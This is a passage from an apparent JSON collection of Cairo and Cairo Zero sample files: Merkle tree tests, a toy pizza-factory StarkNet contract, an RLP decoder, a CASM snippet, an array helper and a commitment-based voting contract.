    "path": "samples/Cairo/merkle_tree_test.cairo",
    "content": "// Internal imports\nuse alexandria_merkle_tree::merkle_tree::{\n    Hasher, MerkleTree, pedersen::PedersenHasherImpl, poseidon::PoseidonHasherImpl, MerkleTreeTrait,\n    MerkleTreeImpl\n};\n\n\nmod regular_call_merkle_tree_pedersen {\n    // Internal imports\n    use alexandria_merkle_tree::merkle_tree::{\n        Hasher, MerkleTree, pedersen::PedersenHasherImpl, MerkleTreeTrait,\n    };\n    #[test]\n    #[available_gas(2000000)]\n    fn regular_call_merkle_tree_pedersen_test() {\n        // [Setup] Merkle tree.\n        let mut merkle_tree: MerkleTree<Hasher> = MerkleTreeTrait::new();\n        let root = 0x15ac9e457789ef0c56e5d559809e7336a909c14ee2511503fa7af69be1ba639;\n        let leaf = 0x1;\n        let valid_proof = array![\n            0x2, 0x68ba2a188dd231112c1cb5aaa5d18be6d84f6c8683e5c3a6638dee83e727acc\n        ]\n            .span();\n        let leaves = array![0x1, 0x2, 0x3];\n\n        // [Assert] Compute merkle root.\n        let computed_root = merkle_tree.compute_root(leaf, valid_proof);\n        assert_eq!(computed_root, root, \"compute valid root failed\");\n\n        // [Assert] Compute merkle proof.\n        let mut input_leaves = leaves;\n        let index = 0;\n        let computed_proof = merkle_tree.compute_proof(input_leaves, index);\n        assert_eq!(computed_proof, valid_proof, \"compute valid proof failed\");\n\n        // [Assert] Verify a valid proof.\n        let result = merkle_tree.verify(root, leaf, valid_proof);\n        assert!(result, \"verify valid proof failed\");\n\n        // [Assert] Verify an invalid proof.\n        let invalid_proof = array![\n            0x2 + 1, 0x68ba2a188dd231112c1cb5aaa5d18be6d84f6c8683e5c3a6638dee83e727acc\n        ]\n            .span();\n        let result = merkle_tree.verify(root, leaf, invalid_proof);\n        assert!(!result, \"verify invalid proof failed\");\n\n        // [Assert] Verify a valid proof with an invalid leaf.\n        let invalid_leaf = 0x1 + 1;\n        let result = merkle_tree.verify(root, invalid_leaf, valid_proof);\n        assert!(!result, \"wrong result\");\n    }\n}\n\n#[test]\n#[available_gas(2000000)]\nfn merkle_tree_pedersen_test() {\n    // [Setup] Merkle tree.\n    let mut merkle_tree: MerkleTree<Hasher> = MerkleTreeImpl::<_, PedersenHasherImpl>::new();\n    let root = 0x15ac9e457789ef0c56e5d559809e7336a909c14ee2511503fa7af69be1ba639;\n    let leaf = 0x1;\n    let valid_proof = array![0x2, 0x68ba2a188dd231112c1cb5aaa5d18be6d84f6c8683e5c3a6638dee83e727acc]\n        .span();\n    let leaves = array![0x1, 0x2, 0x3];\n\n    // [Assert] Compute merkle root.\n    let computed_root = MerkleTreeImpl::<\n        _, PedersenHasherImpl\n    >::compute_root(ref merkle_tree, leaf, valid_proof);\n    assert_eq!(computed_root, root, \"compute valid root failed\");\n\n    // [Assert] Compute merkle proof.\n    let mut input_leaves = leaves;\n    let index = 0;\n    let computed_proof = MerkleTreeImpl::<\n        _, PedersenHasherImpl\n    >::compute_proof(ref merkle_tree, input_leaves, index);\n    assert_eq!(computed_proof, valid_proof, \"compute valid proof failed\");\n\n    // [Assert] Verify a valid proof.\n    let result = MerkleTreeImpl::<\n        _, PedersenHasherImpl\n    >::verify(ref merkle_tree, root, leaf, valid_proof);\n    assert!(result, \"verify valid proof failed\");\n\n    // [Assert] Verify an invalid proof.\n    let invalid_proof = array![\n        0x2 + 1, 0x68ba2a188dd231112c1cb5aaa5d18be6d84f6c8683e5c3a6638dee83e727acc\n    ]\n        .span();\n    let result = MerkleTreeImpl::<\n        _, PedersenHasherImpl\n    >::verify(ref merkle_tree, root, leaf, invalid_proof);\n    assert!(!result, \"verify invalid proof failed\");\n\n    // [Assert] Verify a valid proof with an invalid leaf.\n    let invalid_leaf = 0x1 + 1;\n    let result = MerkleTreeImpl::<\n        _, PedersenHasherImpl\n    >::verify(ref merkle_tree, root, invalid_leaf, valid_proof);\n    assert!(!result, \"wrong result\");\n}\n\n#[test]\n#[available_gas(50000000000)]\nfn merkle_tree_poseidon_test() {\n    // [Setup] Merkle tree.\n    let mut merkle_tree: MerkleTree<Hasher> = MerkleTreeImpl::<_, PoseidonHasherImpl>::new();\n    let root = 0x48924a3b2a7a7b7cc1c9371357e95e322899880a6534bdfe24e96a828b9d780;\n    let leaf = 0x1;\n    let valid_proof = array![0x2, 0x338eb608d7e48306d01f5a8d4275dd85a52ba79aaf7a1a7b35808ba573c3669]\n        .span();\n    let leaves = array![0x1, 0x2, 0x3];\n\n    // [Assert] Compute merkle root.\n    let computed_root = MerkleTreeImpl::<\n        _, PoseidonHasherImpl\n    >::compute_root(ref merkle_tree, leaf, valid_proof);\n    assert_eq!(computed_root, root, \"compute valid root failed\");\n\n    // [Assert] Compute merkle proof.\n    let mut input_leaves = leaves;\n    let index = 0;\n    let computed_proof = MerkleTreeImpl::<\n        _, PoseidonHasherImpl\n    >::compute_proof(ref merkle_tree, input_leaves, index);\n    assert_eq!(computed_proof, valid_proof, \"compute valid proof failed\");\n\n    // [Assert] Verify a valid proof.\n    let result = MerkleTreeImpl::<\n        _, PoseidonHasherImpl\n    >::verify(ref merkle_tree, root, leaf, valid_proof);\n    assert!(result, \"verify valid proof failed\");\n\n    // [Assert] Verify an invalid proof.\n    let invalid_proof = array![\n        0x2 + 1, 0x68ba2a188dd231112c1cb5aaa5d18be6d84f6c8683e5c3a6638dee83e727acc\n    ]\n        .span();\n    let result = MerkleTreeImpl::<\n        _, PoseidonHasherImpl\n    >::verify(ref merkle_tree, root, leaf, invalid_proof);\n    assert!(!result, \"verify invalid proof failed\");\n\n    // [Assert] Verify a valid proof with an invalid leaf.\n    let invalid_leaf = 0x1 + 1;\n    let result = MerkleTreeImpl::<\n        _, PoseidonHasherImpl\n    >::verify(ref merkle_tree, root, invalid_leaf, valid_proof);\n    assert!(!result, \"wrong result\");\n}\n"
  },
  {
    "path": "samples/Cairo/pizza_factory.cairo",
    "content": "use starknet::ContractAddress;\n\n#[starknet::interface]\npub trait IPizzaFactory<TContractState> {\n    fn increase_pepperoni(ref self: TContractState, amount: u32);\n    fn increase_pineapple(ref self: TContractState, amount: u32);\n    fn get_owner(self: @TContractState) -> ContractAddress;\n    fn change_owner(ref self: TContractState, new_owner: ContractAddress);\n    fn make_pizza(ref self: TContractState);\n    fn count_pizza(self: @TContractState) -> u32;\n}\n\n#[starknet::contract]\npub mod PizzaFactory {\n    use super::IPizzaFactory;\n    use starknet::ContractAddress;\n    use starknet::get_caller_address;\n\n    #[storage]\n    pub struct Storage {\n        pepperoni: u32,\n        pineapple: u32,\n        owner: ContractAddress,\n        pizzas: u32\n    }\n\n    #[constructor]\n    fn constructor(ref self: ContractState, owner: ContractAddress) {\n        self.pepperoni.write(10);\n        self.pineapple.write(10);\n        self.owner.write(owner);\n    }\n\n\n    #[event]\n    #[derive(Drop, starknet::Event)]\n    pub enum Event {\n        PizzaEmission: PizzaEmission\n    }\n\n    #[derive(Drop, starknet::Event)]\n    pub struct PizzaEmission {\n        pub counter: u32\n    }\n\n    #[abi(embed_v0)]\n    impl PizzaFactoryimpl of super::IPizzaFactory<ContractState> {\n        fn increase_pepperoni(ref self: ContractState, amount: u32) {\n            assert!(amount != 0, \"Amount cannot be 0\");\n            self.pepperoni.write(self.pepperoni.read() + amount);\n        }\n\n        fn increase_pineapple(ref self: ContractState, amount: u32) {\n            assert!(amount != 0, \"Amount cannot be 0\");\n            self.pineapple.write(self.pineapple.read() + amount);\n        }\n\n        fn make_pizza(ref self: ContractState) {\n            assert!(self.pepperoni.read() > 0, \"Not enough pepperoni\");\n            assert!(self.pineapple.read() > 0, \"Not enough pineapple\");\n\n            let caller: ContractAddress = get_caller_address();\n            let owner: ContractAddress = self.get_owner();\n\n            assert!(caller == owner, \"Only the owner can make pizza\");\n\n            self.pepperoni.write(self.pepperoni.read() - 1);\n            self.pineapple.write(self.pineapple.read() - 1);\n            self.pizzas.write(self.pizzas.read() + 1);\n\n            self.emit(PizzaEmission { counter: self.pizzas.read() });\n        }\n\n        fn get_owner(self: @ContractState) -> ContractAddress {\n            self.owner.read()\n        }\n\n        fn change_owner(ref self: ContractState, new_owner: ContractAddress) {\n            self.set_owner(new_owner);\n        }\n\n        fn count_pizza(self: @ContractState) -> u32 {\n            self.pizzas.read()\n        }\n    }\n\n    #[generate_trait]\n    pub impl InternalImpl of InternalTrait {\n        fn set_owner(ref self: ContractState, new_owner: ContractAddress) {\n            let caller: ContractAddress = get_caller_address();\n            assert!(caller == self.get_owner(), \"Only the owner can set ownership\");\n\n            self.owner.write(new_owner);\n        }\n    }\n}\n"
  },
  {
    "path": "samples/Cairo/rlp.cairo",
    "content": "use cairo_lib::utils::types::words64::{Words64, Words64Trait, reverse_endianness_u64, pow2};\nuse cairo_lib::utils::types::byte::Byte;\nuse cairo_lib::utils::array::span_contains;\n\n// @notice Enum with all possible RLP types\n// For more info: https://ethereum.org/en/developers/docs/data-structures-and-encoding/rlp/\n#[derive(Drop, PartialEq)]\nenum RLPType {\n    String: (),\n    StringShort: (),\n    StringLong: (),\n    ListShort: (),\n    ListLong: (),\n}\n\n#[generate_trait]\nimpl RLPTypeImpl of RLPTypeTrait {\n    // @notice Returns RLPType from the leading byte\n    // For more info: https://ethereum.org/en/developers/docs/data-structures-and-encoding/rlp/\n    // @param byte Leading byte\n    // @return Result with RLPType\n    fn from_byte(byte: Byte) -> Result<RLPType, felt252> {\n        if byte <= 0x7f {\n            Result::Ok(RLPType::String(()))\n        } else if byte <= 0xb7 {\n            Result::Ok(RLPType::StringShort(()))\n        } else if byte <= 0xbf {\n            Result::Ok(RLPType::StringLong(()))\n        } else if byte <= 0xf7 {\n            Result::Ok(RLPType::ListShort(()))\n        } else if byte <= 0xff {\n            Result::Ok(RLPType::ListLong(()))\n        } else {\n            Result::Err('Invalid byte')\n        }\n    }\n}\n\n// @notice Represent a RLP item\n#[derive(Drop, PartialEq)]\nenum RLPItem {\n    Bytes: (Words64, usize),\n    // Should be Span<RLPItem> to allow for any depth/recursion, not yet supported by the compiler\n    List: Span<(Words64, usize)>\n}\n\n// @notice RLP decodes a rlp encoded byte array\n// For more info: https://ethereum.org/en/developers/docs/data-structures-and-encoding/rlp/\n// @param input RLP encoded input, in little endian 64 bits words\n// @return Result with RLPItem and size of the encoded item\nfn rlp_decode(input: Words64) -> Result<(RLPItem, usize), felt252> {\n    // It's guaranteed to fid in 32 bits, as we are masking with 0xff\n    let prefix: u32 = (*input.at(0) & 0xff).try_into().unwrap();\n\n    // It's guaranteed to be a valid RLPType, as we are masking with 0xff\n    let rlp_type = RLPTypeTrait::from_byte(prefix.try_into().unwrap()).unwrap();\n    match rlp_type {\n        RLPType::String(()) => {\n            let mut arr = array![prefix.into()];\n            Result::Ok((RLPItem::Bytes((arr.span(), 1)), 1))\n        },\n        RLPType::StringShort(()) => {\n            let len = prefix.into() - 0x80;\n            let res = input.slice_le(6, len);\n\n            Result::Ok((RLPItem::Bytes((res, len)), 1 + len))\n        },\n        RLPType::StringLong(()) => {\n            let len_len = prefix - 0xb7;\n            let len_span = input.slice_le(6, len_len);\n            // Enough to store 4.29 GB (fits in u32)\n            assert(len_span.len() == 1 && *len_span.at(0) <= 0xffffffff, 'Len of len too big');\n\n            // len fits in 32 bits, confirmed by previous assertion\n            let len: u32 = reverse_endianness_u64(*len_span.at(0), Option::Some(len_len.into()))\n                .try_into()\n                .unwrap();\n            let res = input.slice_le(6 - len_len, len);\n\n            Result::Ok((RLPItem::Bytes((res, len)), 1 + len_len + len))\n        },\n        RLPType::ListShort(()) => {\n            let mut len = prefix - 0xc0;\n            let mut in = input.slice_le(6, len);\n            let res = rlp_decode_list(ref in, len)?;\n            Result::Ok((RLPItem::List(res), 1 + len))\n        },\n        RLPType::ListLong(()) => {\n            let len_len = prefix - 0xf7;\n            let len_span = input.slice_le(6, len_len);\n            // Enough to store 4.29 GB (fits in u32)\n            assert(len_span.len() == 1 && *len_span.at(0) <= 0xffffffff, 'Len of len too big');\n\n            // len fits in 32 bits, confirmed by previous assertion\n            let len: u32 = reverse_endianness_u64(*len_span.at(0), Option::Some(len_len.into()))\n                .try_into()\n                .unwrap();\n            let mut in = input.slice_le(6 - len_len, len);\n            let res = rlp_decode_list(ref in, len)?;\n\n            Result::Ok((RLPItem::List(res), 1 + len_len + len))\n        }\n    }\n}\n\n// @notice RLP decodes into RLPItem::List\n// @param input RLP encoded input, in little endian 64 bits words\n// @param len Length of the input\n// @return Result with a span of the decoded items and the decoded size of each\nfn rlp_decode_list(ref input: Words64, len: usize) -> Result<Span<(Words64, usize)>, felt252> {\n    let mut i = 0;\n    let mut output = ArrayTrait::new();\n    let mut total_len = len;\n\n    loop {\n        if i >= len {\n            break Result::Ok(output.span());\n        }\n\n        let (decoded, decoded_len) = match rlp_decode(input) {\n            Result::Ok((d, dl)) => (d, dl),\n            Result::Err(e) => {\n                break Result::Err(e);\n            }\n        };\n        match decoded {\n            RLPItem::Bytes(b) => {\n                output.append(b);\n                let word = decoded_len / 8;\n                let reversed = 7 - (decoded_len % 8);\n                let next_start = word * 8 + reversed;\n                if (total_len - decoded_len != 0) {\n                    input = input.slice_le(next_start, total_len - decoded_len);\n                }\n                total_len -= decoded_len;\n            },\n            RLPItem::List(_) => {\n                panic_with_felt252('Recursive list not supported');\n            }\n        }\n        i += decoded_len;\n    }\n}\n\nfn rlp_decode_list_lazy(input: Words64, lazy: Span<usize>) -> Result<(RLPItem, usize), felt252> {\n    let mut output = ArrayTrait::new();\n    let mut lazy_index = 0;\n\n    let list_prefix: u32 = (*input.at(0) & 0xff).try_into().unwrap();\n    let list_type = RLPTypeTrait::from_byte(list_prefix.try_into().unwrap()).unwrap();\n    let (mut current_input_index, len) = match list_type {\n        RLPType::String(()) => {\n            return Result::Err('Not a list');\n        },\n        RLPType::StringShort(()) => {\n            return Result::Err('Not a list');\n        },\n        RLPType::StringLong(()) => {\n            return Result::Err('Not a list');\n        },\n        RLPType::ListShort(()) => (1, list_prefix - 0xc0),\n        RLPType::ListLong(()) => {\n            let len_len = list_prefix - 0xf7;\n            let len_span = input.slice_le(6, len_len);\n            // Enough to store 4.29 GB (fits in u32)\n            assert(len_span.len() == 1 && *len_span.at(0) <= 0xffffffff, 'Len of len too big');\n\n            // len fits in 32 bits, confirmed by previous assertion\n            let len = reverse_endianness_u64(*len_span.at(0), Option::Some(len_len.into()))\n                .try_into()\n                .unwrap();\n            (1 + len_len, len)\n        }\n    };\n\n    let rlp_byte_len = current_input_index + len;\n\n    loop {\n        if output.len() == lazy.len() {\n            break Result::Ok((RLPItem::List(output.span()), rlp_byte_len));\n        }\n\n        if current_input_index >= rlp_byte_len {\n            break Result::Err('Too many items to decode');\n        }\n\n        let current_word = current_input_index / 8;\n\n        let pow2_shift = pow2((current_input_index % 8) * 8);\n        let prefix = (*input.at(current_word) / pow2_shift) & 0xff;\n\n        let rlp_type = RLPTypeTrait::from_byte(prefix.try_into().unwrap()).unwrap();\n        let (item_start_skip, item_len) = match rlp_type {\n            RLPType::String(()) => {\n                (0, 1)\n            },\n            RLPType::StringShort(()) => {\n                let len = prefix - 0x80;\n                (1, len)\n            },\n            RLPType::StringLong(()) => {\n                let len_len = prefix - 0xb7;\n\n                let current_word = (current_input_index + 1) / 8;\n                let current_word_offset = 7 - ((current_input_index + 1) % 8);\n\n                let len_span = input\n                    .slice_le(current_word * 8 + current_word_offset, len_len.try_into().unwrap());\n                // Enough to store 4.29 GB (fits in u32)\n                assert(len_span.len() == 1 && *len_span.at(0) <= 0xffffffff, 'Len of len too big');\n\n                // len fits in 32 bits, confirmed by previous assertion\n                let len: u32 = reverse_endianness_u64(\n                    *len_span.at(0), Option::Some(len_len.try_into().unwrap())\n                )\n                    .try_into()\n                    .unwrap();\n\n                (1 + len_len, len.into())\n            },\n            RLPType::ListShort(()) => {\n                panic_with_felt252('Recursive list not supported')\n            },\n            RLPType::ListLong(()) => {\n                panic_with_felt252('Recursive list not supported')\n            }\n        };\n\n        current_input_index += item_start_skip.try_into().unwrap();\n        if span_contains(lazy, lazy_index) {\n            let current_word = current_input_index / 8;\n            let current_word_offset = 7 - (current_input_index % 8);\n            let start = current_word * 8 + current_word_offset;\n\n            let item_len = item_len.try_into().unwrap();\n            let decoded = input.slice_le(start, item_len);\n            output.append((decoded, item_len));\n        }\n\n        current_input_index += item_len.try_into().unwrap();\n\n        lazy_index += 1;\n    }\n}\n"
  },
  {
    "path": "samples/Cairo Zero/casm.cairo",
    "content": "jmp rel 4 if [fp + -3] != 0;\n[ap + 0] = [fp + -5], ap++;\nret;\n[ap + 0] = [fp + -4], ap++;\n[ap + 0] = [fp + -5] + [fp + -4], ap++;\n[fp + -3] = [ap + 0] + 1, ap++;\ncall rel -8;\nret;\n"
  },
  {
    "path": "samples/Cairo Zero/concat_arr.cairo",
    "content": "from starkware.cairo.common.memcpy import memcpy\nfrom starkware.cairo.common.alloc import alloc\n\nfunc concat_arr{range_check_ptr}(\n    acc: felt*,\n    acc_len: felt,\n    arr: felt*,\n    arr_len: felt\n    ) -> (res: felt*, res_len: felt):\n    alloc_locals\n    let (local acc_cpy: felt*) = alloc()\n\n    memcpy(acc_cpy, acc, acc_len)\n\n    memcpy(acc_cpy + acc_len, arr, arr_len)\n    return (acc_cpy, acc_len + arr_len)\nend\n"
  },
  {
    "path": "samples/Cairo Zero/contract.cairo",
    "content": "# Declare this file as a StarkNet contract and set the required\n# builtins.\n%lang starknet\n%builtins pedersen range_check ecdsa\n\nfrom starkware.cairo.common.cairo_builtins import HashBuiltin\nfrom starkware.cairo.common.hash import hash2\nfrom starkware.cairo.common.math import assert_lt_felt\nfrom starkware.starknet.common.storage import Storage\nfrom starkware.cairo.common.cairo_builtins import SignatureBuiltin\nfrom starkware.cairo.common.signature import verify_ecdsa_signature\nfrom starkware.cairo.common.alloc import alloc\n\n# Phases:\n#   * 0 - coordinator initializes\n#   * 1 - users send drop commitments and coordinator disables sending\n#   * 2 - coordinator submits key\n#   * 3 - users cast votes\n#   * 4 - voting period ends\n\n@storage_var\nfunc coordinator() -> (res : felt):\nend\n\n@storage_var\nfunc phase() -> (res : felt):\nend\n\n@storage_var\nfunc ayes() -> (res : felt):\nend\n\n@storage_var\nfunc nays() -> (res : felt):\nend\n\n@storage_var\nfunc commitments(user : felt) -> (res : felt):\nend\n\n@storage_var\nfunc voprf_key() -> (res : felt):\nend\n\n@storage_var\nfunc paid(user : felt) -> (res : felt):\nend\n\n@storage_var\nfunc voprf_key_bits(bit : felt) -> (res : felt):\nend\n\n@external\nfunc initialize{storage_ptr : Storage*, pedersen_ptr : HashBuiltin*, range_check_ptr}(user : felt):\n    let (current_phase) = phase.read()\n    assert current_phase = 0\n    phase.write(1)\n    coordinator.write(user)\n    return ()\nend\n\n@external\nfunc commit{\n        storage_ptr : Storage*, pedersen_ptr : HashBuiltin*, ecdsa_ptr : SignatureBuiltin*,\n        range_check_ptr}(user : felt, commitment : felt, sig_r : felt, sig_s : felt):\n    let (current_phase) = phase.read()\n    assert current_phase = 1\n    verify_ecdsa_signature(\n        message=commitment, public_key=user, signature_r=sig_r, signature_s=sig_s)\n    commitments.write(user, commitment)\n    return ()\nend\n\n@external\nfunc end_commitment_phase{\n        storage_ptr : Storage*, pedersen_ptr : HashBuiltin*, ecdsa_ptr : SignatureBuiltin*,\n        range_check_ptr}(sig_r : felt, sig_s : felt):\n    let (current_phase) = phase.read()\n    assert current_phase = 1\n    let (the_coordinator) = coordinator.read()\n    verify_ecdsa_signature(\n        message=current_phase, public_key=the_coordinator, signature_r=sig_r, signature_s=sig_s)\n    phase.write(2)\n    return ()\nend\n\n@external\nfunc submit_key{\n        storage_ptr : Storage*, pedersen_ptr : HashBuiltin*, ecdsa_ptr : SignatureBuiltin*,\n        range_check_ptr}(key : felt, sig_r : felt, sig_s : felt):\n    let (current_phase) = phase.read()\n    assert current_phase = 2\n    let (the_coordinator) = coordinator.read()\n    verify_ecdsa_signature(\n        message=key, public_key=the_coordinator, signature_r=sig_r, signature_s=sig_s)\n    phase.write(3)\n    voprf_key.write(key)\n    return ()\nend\n\n@external\nfunc end_voting_phase{\n        storage_ptr : Storage*, pedersen_ptr : HashBuiltin*, ecdsa_ptr : SignatureBuiltin*,\n        range_check_ptr}(sig_r : felt, sig_s : felt):\n    let (current_phase) = phase.read()\n    assert current_phase = 3\n    let (the_coordinator) = coordinator.read()\n    verify_ecdsa_signature(\n        message=current_phase, public_key=the_coordinator, signature_r=sig_r, signature_s=sig_s)\n    phase.write(4)\n    return ()\nend\n\nfunc double_and_add_2_128(arr : felt*, index : felt) -> (res : felt):\n    if index == 128:\n        return (0)\n    else:\n        assert arr[index] * (1 - arr[index]) = 0\n        let (res) = double_and_add_2_128(arr, index + 1)\n        return (arr[index] + 2 * res)\n    end\nend\n\nfunc double_ec(x_in, y_in) -> (x_out : felt, y_out : felt):\n    let lambda = (3 * x_in * x_in + 1) / (2 * y_in)\n    let x = lambda * lambda - 2 * x_in\n    let y = lambda * (x_in - x) - y_in\n    return (x, y)\nend\n\nfunc double_and_add_ec(\n        x_in : felt, y_in : felt, x_base : felt, y_base : felt, infinity_in : felt, arr : felt*,\n        index : felt) -> (res : felt):\n    alloc_locals\n    local x\n    local y\n    local infinity\n    if arr[index] == 1:\n        if x_base == x_in:\n            if y_base == y_in:\n                infinity = 0\n                let (x_ret, y_ret) = double_ec(x_in, y_in)\n                x = x_ret\n                y = y_ret\n            else:\n                infinity = 1\n                x = 0\n                y = 0\n            end\n        else:\n            if infinity_in == 1:\n                infinity = 0\n                x = x_base\n                y = y_base\n            else:\n                infinity = 0\n                local lambda = (y_base - y_in) / (x_base - x_in)\n                local x_tmp = lambda * lambda - x_in - x_base\n                local y_tmp = lambda * (x_in - x_tmp) - y_in\n                x = x_tmp\n                y = y_tmp\n            end\n        end\n    else:\n        infinity = infinity_in\n        x = x_in\n        y = y_in\n    end\n    if index == 0:\n        return (x)\n    else:\n        local x_double\n        local y_double\n        if infinity == 0:\n            let (x_ret, y_ret) = double_ec(x, y)\n            x_double = x_ret\n            y_double = y_ret\n        else:\n            x_double = 0\n            y_double = 0\n        end\n        return double_and_add_ec(x_double, y_double, x_base, y_base, infinity, arr, index - 1)\n    end\nend\n\n@external\nfunc cast_vote{\n        storage_ptr : Storage*, pedersen_ptr : HashBuiltin*, range_check_ptr,\n        ecdsa_ptr : SignatureBuiltin*}(\n        user : felt, vote : felt, t_hash_y : felt, a0, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10,\n        a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28,\n        a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, a46,\n        a47, a48, a49, a50, a51, a52, a53, a54, a55, a56, a57, a58, a59, a60, a61, a62, a63, a64,\n        a65, a66, a67, a68, a69, a70, a71, a72, a73, a74, a75, a76, a77, a78, a79, a80, a81, a82,\n        a83, a84, a85, a86, a87, a88, a89, a90, a91, a92, a93, a94, a95, a96, a97, a98, a99, a100,\n        a101, a102, a103, a104, a105, a106, a107, a108, a109, a110, a111, a112, a113, a114, a115,\n        a116, a117, a118, a119, a120, a121, a122, a123, a124, a125, a126, a127):\n    alloc_locals\n\n    let (current_phase) = phase.read()\n    assert current_phase = 3\n\n    let (local key) = voprf_key.read()\n    let (commitment) = commitments.read(user)\n    local commitment = commitment\n    let (local t_hash) = hash2{hash_ptr=pedersen_ptr}(user, 0)\n    assert t_hash_y * t_hash_y = t_hash * t_hash * t_hash + t_hash + 3141592653589793238462643383279502884197169399375105820974944592307816406665\n\n    let (paid_commitment) = paid.read(user)\n    assert paid_commitment = 0\n    paid.write(user, 1)\n\n    # Make sure vote is either 0 (No) or 1 (Yes)\n    assert vote * (1 - vote) = 0\n\n    if vote == 1:\n        let (num_yes) = ayes.read()\n        ayes.write(num_yes + 1)\n        tempvar storage_ptr : Storage* = storage_ptr\n        tempvar pedersen_ptr : HashBuiltin* = pedersen_ptr\n        tempvar range_check_ptr = range_check_ptr\n    else:\n        if vote == 0:\n            let (num_no) = nays.read()\n            nays.write(num_no + 1)\n            tempvar storage_ptr : Storage* = storage_ptr\n            tempvar pedersen_ptr : HashBuiltin* = pedersen_ptr\n            tempvar range_check_ptr = range_check_ptr\n        else:\n            tempvar storage_ptr : Storage* = storage_ptr\n            tempvar pedersen_ptr : HashBuiltin* = pedersen_ptr\n            tempvar range_check_ptr = range_check_ptr\n        end\n        tempvar storage_ptr : Storage* = storage_ptr\n        tempvar pedersen_ptr : HashBuiltin* = pedersen_ptr\n        tempvar range_check_ptr = range_check_ptr\n    end\n\n    local storage_ptr : Storage* = storage_ptr\n    local pedersen_ptr : HashBuiltin* = pedersen_ptr\n    local range_check_ptr = range_check_ptr\n\n    let (local key_bits : felt*) = alloc()\n    key_bits[0] = a0\n    key_bits[1] = a1\n    key_bits[2] = a2\n    key_bits[3] = a3\n    key_bits[4] = a4\n    key_bits[5] = a5\n    key_bits[6] = a6\n    key_bits[7] = a7\n    key_bits[8] = a8\n    key_bits[9] = a9\n    key_bits[10] = a10\n    key_bits[11] = a11\n    key_bits[12] = a12\n    key_bits[13] = a13\n    key_bits[14] = a14\n    key_bits[15] = a15\n    key_bits[16] = a16\n    key_bits[17] = a17\n    key_bits[18] = a18\n    key_bits[19] = a19\n    key_bits[20] = a20\n    key_bits[21] = a21\n    key_bits[22] = a22\n    key_bits[23] = a23\n    key_bits[24] = a24\n    key_bits[25] = a25\n    key_bits[26] = a26\n    key_bits[27] = a27\n    key_bits[28] = a28\n    key_bits[29] = a29\n    key_bits[30] = a30\n    key_bits[31] = a31\n    key_bits[32] = a32\n    key_bits[33] = a33\n    key_bits[34] = a34\n    key_bits[35] = a35\n    key_bits[36] = a36\n    key_bits[37] = a37\n    key_bits[38] = a38\n    key_bits[39] = a39\n    key_bits[40] = a40\n    key_bits[41] = a41\n    key_bits[42] = a42\n    key_bits[43] = a43\n    key_bits[44] = a44\n    key_bits[45] = a45\n    key_bits[46] = a46\n    key_bits[47] = a47\n    key_bits[48] = a48\n    key_bits[49] = a49\n    key_bits[50] = a50\n    key_bits[51] = a51\n    key_bits[52] = a52\n    key_bits[53] = a53\n    key_bits[54] = a54\n    key_bits[55] = a55\n    key_bits[56] = a56\n    key_bits[57] = a57\n    key_bits[58] = a58\n    key_bits[59] = a59\n    key_bits[60] = a60\n    key_bits[61] = a61\n    key_bits[62] = a62\n    key_bits[63] = a63\n    key_bits[64] = a64\n    key_bits[65] = a65\n    key_bits[66] = a66\n    key_bits[67] = a67\n    key_bits[68] = a68\n    key_bits[69] = a69\n    key_bits[70] = a70\n    key_bits[71] = a71\n    key_bits[72] = a72\n    key_bits[73] = a73\n    key_bits[74] = a74\n    key_bits[75] = a75\n    key_bits[76] = a76\n    key_bits[77] = a77\n    key_bits[78] = a78\n    key_bits[79] = a79\n    key_bits[80] = a80\n    key_bits[81] = a81\n    key_bits[82] = a82\n    key_bits[83] = a83\n    key_bits[84] = a84\n    key_bits[85] = a85\n    key_bits[86] = a86\n    key_bits[87] = a87\n    key_bits[88] = a88\n    key_bits[89] = a89\n    key_bits[90] = a90\n    key_bits[91] = a91\n    key_bits[92] = a92\n    key_bits[93] = a93\n    key_bits[94] = a94\n    key_bits[95] = a95\n    key_bits[96] = a96\n    key_bits[97] = a97\n    key_bits[98] = a98\n    key_bits[99] = a99\n    key_bits[100] = a100\n    key_bits[101] = a101\n    key_bits[102] = a102\n    key_bits[103] = a103\n    key_bits[104] = a104\n    key_bits[105] = a105\n    key_bits[106] = a106\n    key_bits[107] = a107\n    key_bits[108] = a108\n    key_bits[109] = a109\n    key_bits[110] = a110\n    key_bits[111] = a111\n    key_bits[112] = a112\n    key_bits[113] = a113\n    key_bits[114] = a114\n    key_bits[115] = a115\n    key_bits[116] = a116\n    key_bits[117] = a117\n    key_bits[118] = a118\n    key_bits[119] = a119\n    key_bits[120] = a120\n    key_bits[121] = a121\n    key_bits[122] = a122\n    key_bits[123] = a123\n    key_bits[124] = a124\n    key_bits[125] = a125\n    key_bits[126] = a126\n    key_bits[127] = a127\n    let (key_computed) = double_and_add_2_128(key_bits, 0)\n    assert key_computed = key\n\n    let (commitment_computed) = double_and_add_ec(0, 0, t_hash, t_hash_y, 1, key_bits, 127)\n    assert commitment_computed = commitment\n    return ()\nend\n\n@view\nfunc get_result{storage_ptr : Storage*, pedersen_ptr : HashBuiltin*, range_check_ptr}() -> (\n        num_yes : felt, num_no : felt):\n    let (current_phase) = phase.read()\n    assert current_phase = 4\n    let (num_yes) = ayes.read()\n    let (num_no) = nays.read()\n    return (num_yes, num_no)\nend\n\n@view\nfunc get_phase{storage_ptr : Storage*, pedersen_ptr : HashBuiltin*, range_check_ptr}() -> (\n        res : felt):\n    let (res) = phase.read()\n    return (res)\nend\n"
  },
  {
    "path": "samples/Cairo Zero/safemath.cairo",
